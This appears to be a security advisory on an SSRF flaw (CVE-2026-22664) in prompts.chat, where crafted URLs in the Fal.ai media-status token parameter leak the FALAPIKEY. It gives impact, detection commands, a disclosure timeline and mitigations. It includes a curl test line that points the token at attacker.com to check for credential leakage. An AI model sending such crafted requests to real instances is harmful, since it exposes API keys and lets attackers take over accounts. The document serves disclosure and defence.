SSRF en prompts.chat a través del Polling del Estado de los Medios de Fal.ai

The SSRF vulnerability in prompts.chat poses a significant risk because it enables attackers to disclose sensitive credentials. By crafting malicious URLs within the token parameter, an attacker can trick the application into making outbound requests to arbitrary destinations. Crucially, this can lead to the exposure of the FALAPIKEY, which is included in the Authorization header of these requests. With possession of this API key, an attacker could impersonate the victim user, access and manipulate data within the Fal.ai account, probe the internal network for further vulnerabilities, and potentially launch further attacks leveraging the compromised account. The blast radius extends beyond the immediate application to encompass the entire Fal.ai ecosystem and any internal resources accessible through the victim's account.

Organizations utilizing prompts.chat for internal communication or AI-powered chatbot applications are at risk. Specifically, deployments that rely on Fal.ai for media processing or storage are particularly vulnerable. Shared hosting environments where multiple users share the same prompts.chat instance should be carefully assessed, as a compromised account could impact other users.

• nodejs / server: Monitor application logs for outbound requests to unusual or unexpected domains. Use lsof or netstat to identify processes making outbound connections to suspicious IP addresses or ports.

lsof -i | grep prompts.chat

• generic web: Use curl to test the media status polling endpoint with a crafted URL containing a known malicious domain. Examine the response headers for any signs of credential leakage.

curl -v 'https://your-prompts-chat-instance/api/media_status?token=https://attacker.com' 2>&1 | grep Authorization

1. 2026-04-03Disclosure

   disclosure

1. Reservado2026-01-08
2. Publicada2026-04-03
3. Modificada2026-04-07
4. EPSS actualizado2026-04-11

The primary mitigation for CVE-2026-22664 is to immediately upgrade prompts.chat to version 30a8f0470e0ba45e6be9c9f55220f4a9a6b91c99 or later, which contains the fix for the SSRF vulnerability. If upgrading is not immediately feasible, consider implementing a Web Application Firewall (WAF) or reverse proxy to filter outbound requests and block those containing suspicious URLs. Specifically, configure the WAF to block requests with attacker-controlled URLs in the token parameter. Additionally, review and restrict network access for the Fal.ai application to minimize the potential impact of a successful exploitation. After upgrading, confirm the fix by attempting to trigger the media status polling with a crafted URL and verifying that the FALAPIKEY is not exposed in the outbound request.